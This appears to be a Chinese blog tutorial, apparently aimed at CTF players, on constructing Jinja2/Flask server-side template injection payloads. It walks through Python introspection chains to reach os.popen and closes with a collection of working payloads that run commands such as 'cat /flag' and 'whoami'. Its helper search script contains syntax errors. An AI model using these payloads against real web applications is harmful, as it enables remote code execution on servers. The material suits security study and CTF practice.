SSTI的payload构造思路

SSTI-payload和各种绕过方法 SSTI总结:流程和绕过 阅读详情

内置的方法和属性

有些对象类型内置了一些可读属性,它们不会被dir()列举出来。

属性/方法描述
instance._class_类实例所属的类
class._bases_类对象(类也是对象)的基类元组
definition._name_类、函数、方法、描述符或生成器实例的名称。
class._mro_此属性是在方法解析期间查找基类时考虑的类元组。
class._subclasses_()每个类都保留一个对其直接子类的弱引用列表。此方法返回所有仍然存活的引用的列表。该列表按定义顺序排列。
module._dict_包含模块的符号表的字典,包括标识符名称和它的引用
_builtins_一般被模块作为全局变量提供,它的值或者是builtins模块的引用,或者是则这个模块的__dict__属性。如果是builtins模块,该模块提供Python的所有“内置”标识符的直接访问,例如open函数builtins.open()。这个变量在定义与内置函数同名的模块有用处,可以通过它访问内置的同名函数。另外,还可以通过它修改某些标识符的作用。

判断一个模块是否有_builtins_:__builtins__变量是对builtins模块的引用,在sys模块导入了builtins模块的,sys模块是由Python/sysmodule.c编译的,也就是说当一个模块直接或间接(导入的模块里面)导入了sys模块。sys模块是由c程序编译的,但它没有__builtins__变量。

__builtins__的值是当前模块引用的builtins模块:

>>> __builtins__
<module 'builtins' (built-in)>

module.__builtins__的值是指定模块的所有标识符的字典,与__dict__相比,除了变量,还多出了其它标识符,例如:

>>> os.__builtins__['TimeoutError']
<class 'TimeoutError'>
属性/方法描述
_import_()内置函数,它在importlib包下的_bootstrap模块下定义的__import__()方法的实现,在程序运行开始时,这个包就被导入,所以这个方法也被导入当成内置函数。
method._globals_在指定的方法处的全局命名空间(等同于dir(), globals())。method不能是内置的方法名,而是自己定义或者重写的,重写的__init__也算。
object._new_(cls[…])对象的内置方法,创建新实例时自动调用,用以定制实例的创建过程。传入对象所属的类,其余参数是构造器的参数相同,这个方法返回一个实例,只有这个方法返回实例,对象内置的_init_()才会被调用。
object._init_(self[…])对象的内置方法,_new_()之后,给调用者返回实例之前调用。如果基类有自定义的__init__(),那么添加super().__init__([…]),对基类部分进行初始化。这个方法返回的值只能是None,否则会引发TypeError。

Python本质上是动态的,而不是静态的。虚拟机具有变量的可寻址命名空间,而不是编译后的对象代码中的符号表。

dir()/dir(module):返回在该点的有效命名空间,返回一个字典,每个键值对对应一个变量和它的值,

globals():返回变量名和它的变量值的字典,这些变量在作用域中是视为全局的。

locals():返回变量名和它的变量值的字典,这些变量在作用域中是视为局部的。

原理

SSTI的原理是服务器端接收了用户可控的数据,将其作为参数值传入模板引擎,如果这些数据是python代码的字符串,就会被当成代码来执行。

模板引擎解析的文本类似于这样的:

<h1>{{ 4*2 }}</h1>

{{ }}是模板表达式,它将执行里面的表达式内容,并输出。所以上面的结果为:

<h1>8</h1>

如果我们可以在文本传入给模板引擎解析之前,对文本进行修改,那么在它里面增加模板表达式等其它能执行python代码的模板语法,就会造成代码注入。例如

text =  "<h1>%s<>" % input
render_template_string(text)

input可控,注入模板表达式,并在里面增加代码:

input = "{{ 7*2 }}"

text变成:

text = "<h1>{{ 7*2 }}</h1>"

然后再传入模板引擎解析:

render_template_string(text)

如何利用

首先构造一个能执行函数的payload,这里的函数可以是任何自己想要的功能,比如想执行系统命令,可以调用popen(),subprocess()等等;想读取文件,可以调用open()函数。

(1)不管最终想执行什么函数,payload前面的一部分一般都是想拿到基类object的所有子类:

''.__class__.__base__.__subclasses__()

解释:

''是一个对象,__class__是这个对象所属的类,__base__是指定类的基类(父类),__subclasses__()是Object类的静态方法,返回它的所有子类,包含在一个字典中,键是类名,值是类的引用。

(2)现在我们拿到了所有继承Object类的子类的引用,在调用这些子类的方法时,如果命名空间没有这个类,解析器就会尝试导入包含这个类的模块,例如有个子类叫os._AddedDllDirectory:

>>> ''.__class__.__base__.__subclasses__()[139]
<class 'os._AddedDllDirectory>

os就是它的模块名,解析器就会尝试去加载并执行os模块的代码,但不会把os这个变量放进命名空间中(说到底,import os的os变量保存是模块的地址,换句话说,命名空间保存的是存储地址的变量,这个地址有可能指向一个值,一个类,一个函数,或者一个模块,总之是一块代码的首地址)。

(3)在解析器加载并执行某个模块的代码时,例如os模块的代码,里面又导入了其它的模块(import sys),这些模块与os定义了一些变量,函数和类,解析器把它们添加到当前的命名空间,接下来通过__globals__获得当前的命名空间,不过它需要一个方法作为调用者,这里我们选一些魔术方法,因为它们的方法名固定,例如__init__、__enter__或__exit__等等。

再补充payload:

''.__class__.__base__.__subclasses__()[139].__init__.__globals__

(4)因为os模块的执行,导致sys模块的导入(import sys),也就是说当前的命名空间有了sys这个变量,它保存了sys模块的地址,通过这个变量可以调用它里面(与变量绑定在一起)的方法、类等成员,sys模块里面有个modules字典,它保存的是已加载模块**(已加载但未必在命名空间有对应的变量)**的名称与其地址的映射。

还可以通过给 sys.modules 这个字典加入元素,以强制加载某个模块。

''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os']

(5)拿到os模块的地址后,就可以使用里面的方法了,其中有个popen方法就是想利用的方法,通过它执行shell命令:

''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os'].popen('ls')
>>> ''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os'].popen('ls')
<os._wrap_close object at 0x000001E29281A580>

(6)popen()返回一个输出流,通过read()读取里面的数据:

''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os'].popen('ls').read()

总结利用思路

(1)明确要利用的目标函数;

(2)找到目标函数被定义的位置,哪个模块(目标模块),或者哪个类(目标类)。

(3)构造前一部分payload,大部分思路是固定的,目的是拿到所有Object类的子类。

(4)这些子类很多没有加载,调用它们里面显式定义的方法,解析器就会加载并执行这个模块,如果模块刚好存在目标函数,就跳到第六步。(直接找到目标函数)

(5)如果第五步加载的模块没有目标函数,就考虑在被加载模块中存在导入目标模块的import语句。(间接导入)

(6)导入了目标函数或者目标模块后,在当前的命名空间就存在它们的变量,接下来就通过这些变量作为调用者,调用目标函数。

一般来说,可以利用的函数有:open(), popen(), subprocess(), system()

总之,构造payload的思路是曲折的,能利用的属性、变量、函数、类等成员很多,调用过程曲折,自由发挥的空间比较大。

附带脚本

# 用于搜索想利用的目标函数所在的类
search = 'popen'
num = -1
for c in ''.__class__.__base__.__subclasses__()
	num += 1
    try:
        if search in c.__init__.globals__.keys():
            print(c, num)
    except:
        pass

payload的收集

{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("cat /flag").read()}}

// os._wrap_close类中的popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

// __import__方法
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

// __builtins__
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

// Jinja2创建的url_for()方法
{{url_for.__globals__.os.popen("cat /flag").read()}}
攻下windows7第三天——构造payload 一.实验背景 随着windows系统的不断更新完善,windows对用户系统的安全力度也在加强。第一天和第二天的漏洞也很容易通过添加补丁修复,这对我们的渗透,也带来了不少的麻烦。所以今天我将带大家,利用目前流行的 metasploit 框架,绕过一些 UAC 及防火墙的限制,从而达到成功利用的目的! 二.实验环境 攻击机kali :192.168.126.129 靶机 win7:192.168.126.134 三.操作步骤 1.使用.exe作为web shell(关闭防火墙) (1)生成一个payload 阅读详情

相关推荐

CTF选手必看:Flask SSTI绕过WAF的N种奇技淫巧与Payload构造思路

本文深入探讨了CTF竞赛中Flask框架下的SSTI(服务器端模板注入)高级绕过技术,重点分析了Jinja2模板引擎的漏洞利用方法。通过详细讲解对象继承链、符号过滤绕过、关键字过滤处理等技巧,帮助选手在严格WAF规则下构造有效Payload,提升Web安全实战能力。

weixin_27722377的博客 335

基于SSTI模块注入的常用payload总结

一、查找函数位置,利用函数实现 1、利用file函数进行读取 2、利用内嵌函数eval进行命令执行 3、利用linecache函数进行命令执行 二、查找类的位置,利用类下的函数实现 1、利用_frozen_importlib_external.FileLoader类 2、利用importlib类进行命令执行 3、利用subprocess.Popen类进行命令执行 三、利用os模块进行命令执行 1、利用config 2、利用url_for 3、利用子类的os模块 四、关于其他的利用

Welcome To My6n Blog 2824

常见漏洞—ssti

我之前在做了几道题之后写了一篇只包含python环境的ssti的总结,后来刷portswigger lab的时候才发觉自己先入为主了,所以决定重新写一篇。因本人技术浅薄,只对见过的几个模板做简单介绍,如果想看有深度的文章,可以直接去看参考里的最后一个。。

2401_88858891的博客 1355

SSTI模板注入

1、原理简述 2、常用payload及相关脚本 函数调用、高危函数 3、实战:攻防世界 Web_python_template_injection

Welcome To My6n Blog 1556

[GYCTF2020]FlaskApp

[GYCTF2020]FlaskApp 1.前言 最近的比赛太多了,每个比赛里面的Web方向的题目都千奇百怪,最近的Web题目能够遇到一个之前了解过的漏洞是越来越难了。像我这种已经被边缘化的Web狗在这种大比赛面前已经没有生存的空间了。仍然是继续补习SSTI的一天,继续打靶场吧。 2.正文 首先拿到题目 这是一个用flask写的用来加解密base64的Web应用程序。我们来测试一下它的报错情况,因为对于python来讲base64的解密过程,如果用户所输入的字符的格式不是base64的话,程序就会报出一个

Mrs_H的博客 2198

生成 Payload 的过程(Python)

在网络安全领域中,Payload 是指在利用漏洞或攻击目标时所使用的特定数据或代码块。生成 Payload 的过程通常涉及构造恶意代码、利用漏洞或设计特定的数据结构。本文将介绍使用 Python 生成 Payload 的一般步骤,并提供相应的源代码示例。生成 Payload 是一个复杂且技术密集的过程,需要深入了解相关的漏洞和攻击技术。然后,我们使用 UTF-8 编码将 Payload 转换为字节流,并打印生成的 Payload。根据 Payload 的目标和用途,需要构造特定的数据结构来实现所需的功能。

JieLun_C的博客 1903

ssti模版注入(看完就会了)

_class__ 类的一个内置属性,表示实例对象的类。__base__ 类型对象的直接基类__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases____mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

qq_74806534的博客 2万+

ssti-payload:SSTI有效载荷生成器

SSTI有效载荷发生器 该生成器是针对特定类型的Java SSTI的,其受以下启发: ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).conc

细说Jinja2之SSTI&bypass

亲爱的,关注我吧12/18本文字数10061来和我一起阅读吧前言SSTI(Server-Side Template Injection)服务端模板注入在CTF中并不是一个新颖的考点了,之...

蚁景网安学院 6968

微信小程序-如何根据缩放屏幕大小自适应icon图标更改marker

微信小程序如何根据用户的缩放屏幕来改变marker图标icon的大小,实现icon自适应屏幕缩放的效果

Bartender_VA11的博客 3980

长短期记忆网络(Long Short-Term Memory networks, LSTM)

如何简单的理解LSTM——其实没有那么复杂:

weixin_39910711的博客 2万+

SSTI注入利用姿势合集

SSTI注入利用姿势合集

Aiwin的博客 1094

Decoder如何工作、Transformer如何训练、以及exposure bias问题

1、结合图文描述Decoder中各个模块是什么,以及是如何工作的。2、transformer是如何训练的。3、exposure bias问题造成的原因及解决方法

m0_59113542的博客 3345

日志Python安全之SSTI——Flask/Jinja2

ssti的概念和模板引擎介绍等基础知识前面已经学过了,接下来直接进入正题。

2401_88743143的博客 1404

别再死记硬背了!用Python+Matlab/Simulink手把手带你理解PID控制器的‘稳、快、准’

本文通过Python编程和Matlab/Simulink仿真,深入解析PID控制器的‘稳、快、准’三大核心指标,帮助读者直观理解PID控制的实现原理与参数整定技巧。内容涵盖经典控制理论和自动控制原理,提供实战案例和高级调参技巧,适合工业自动化领域的学习者和工程师。

weixin_42551227的博客 369

相机图像质量研究(22)常见问题总结:CMOS期间对成像的影响--光学串扰

光学串扰是一个比较难以理解的光学现象,实际影响往往不大。一、光学串扰产生的原因通常是入射角度太大,光线在不同通道之间产生了混叠二、光学串扰产生的现象光学串扰容易导致迷宫纹。总结本节讲了光学串扰产生的原因,现象。

xiaoshixiu的专栏 1573

CTFWEB刷题日记——2025/2/28

昨天刷thinkphp专题去了,今天复工。

2301_80038080的博客 392

SAP 凭证分割功能 - 概述&系统配置 - Chapter01/02

为何要进行凭证拆分(分割)?在启用凭证分割之前, 在财务凭证在过账时会自动带出默认的利润中心,这利 润中心一般是从其他对象派生出来的(比如从成本中心、WBS 或资产负债表科 目定义默认的利润中心等),但是某些情况下的财务过账是不会派生出利润中 心的,比如说应收或者应付。如果一笔销售凭证上有两个行项目,10 行对应的成品物料 A 的利润中心为 TPCA-100;公司项目Dr/Cr科目金额利润中心10001Dr应收账款20002Cr库存商品A1500TPCA-1003Cr。

weixin_46525734的博客 3962

BugKu Simple_SSTI_2

这个类,也有catch_warnings.这样我们就能获取到对应的索引,然后这里这个题我用到的是catch_warnings。在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__这里找到索引后,调用它的__init__方法进行初始化类,然后再调用__globals__获取到方法内以字典的形式返回的方法、属性等。这里的脚本就是要寻找那些有回显的或者可以执行命令的类,大多数利用的是。

m0_59527104的博客 805

2026实测可用!4个专业AI Agent Skills垂直搜索平台对比

📊本文以表格形式整理4个实测可用的专业AI Agent Skills垂直搜索平台,涵盖资源规模、适配生态等关键维度🤖,适合开发者按需选择技能获取渠道,解决平台筛选与访问难题✨

XiaoqiangClub的博客 524

高通平台Android 无线 UWB 开发全解析:UWB系统设计、天线与校准全流程指南

为使 UWB 系统达到目标性能,在整个开发流程中遵循一套设计最佳实践至关重要。系统架构:需基于飞行时间(ToF)功能的基准方案(POR)定义系统框图,这是整体系统架构的基础。天线布局:天线位置对性能影响极大,需尽可能贴近 UWB 芯片,以减少信号损耗、保持高传输效率。器件选型:需谨慎选择元器件,推荐使用单刀双掷(SPDT)或双刀双掷(DPDT)开关、UWB 带通滤波器射频同轴测试接头,以保障信号传输路径与测试能力。原理图优化:原理图开发阶段,走线损耗优化极为关键。

专业开发者的博客,一个从事Android WiFi和蓝牙的工程师 171

CTF竞赛题目write up

本题主要考察SSTI漏洞的发现与利用,掌握Jinja2模板语法绕过能力是关键。

fyy_fanyunhao的博客 317

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

ctfshowweb入门 SSTI模板注入专题保姆级教程(三)

本文探讨了多种绕过数字过滤的技术方法。主要思路包括:1) 使用全角数字绕过过滤;2) 利用字符串长度(count/length)获取数字值;3) 通过字符拼接构造关键函数名;4) 反弹Shell技术实现命令执行。文章详细展示了如何通过这些方法构造payload,包括使用字符串长度代替直接数字、动态生成变量名等技术细节。同时分析了两种字符生成方法(fun1和fun2)的工作原理,并指出当print被过滤时,只能采用盲注或反弹Shell等技术。最后提到当count被过滤时,可用length方法替代实现相同功能。

小白求大佬ddw Orz 165

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

SSTI知识点与题型

首先会出现这样的界面 ?name={{1%2b1}}hello %2b= + %2b是url编码 ?name={{1+1}}hello 执行成功说明是有模板注入 ?name={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }} 从查询的语句中看到了flag然后直接cat flag就可以得到了 ?name={{ config.__class__.__init__.__globals__['os'

zbbjya的博客 602

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

GHCTF2025--Web

替换为空, 使用了bottle库, 查找一些资料, 发现存在ssti模板注入, 本地搭建环境, 把waf去掉, 可以发现使用。前面一直卡在这, 没办法执行一些函数操作啥的, 就没管了, 后面wp出来之后才知道这是Sqlite注⼊ , 怪我见识短浅了。有点奇怪, 我自己本地试了一下这个cookie是可以被反序列化然后执行的, 但是靶机上一直没成功,可能没有权限还是干嘛。可以执行代码, 但是题目是没有回显的, 所以需要反弹shell, 连上自己的vps。php反序列化, 看似代码很多, 其实大都是没有用的。

pwfortune的博客 3047

xctf攻防世界 Web高手进阶区 shrine

一般python模板注入涉及到知识比较广,但是套路基本固定,参考大佬的总结文章即可,问题不大。SSTI模板注入总结CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】

l8947943的博客 7793
上一篇: php-fpm未授权访问漏洞
下一篇: 对字符集、编码和宽字节注入的思考
friEnd`
博客等级 码龄8年 103粉丝 45原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值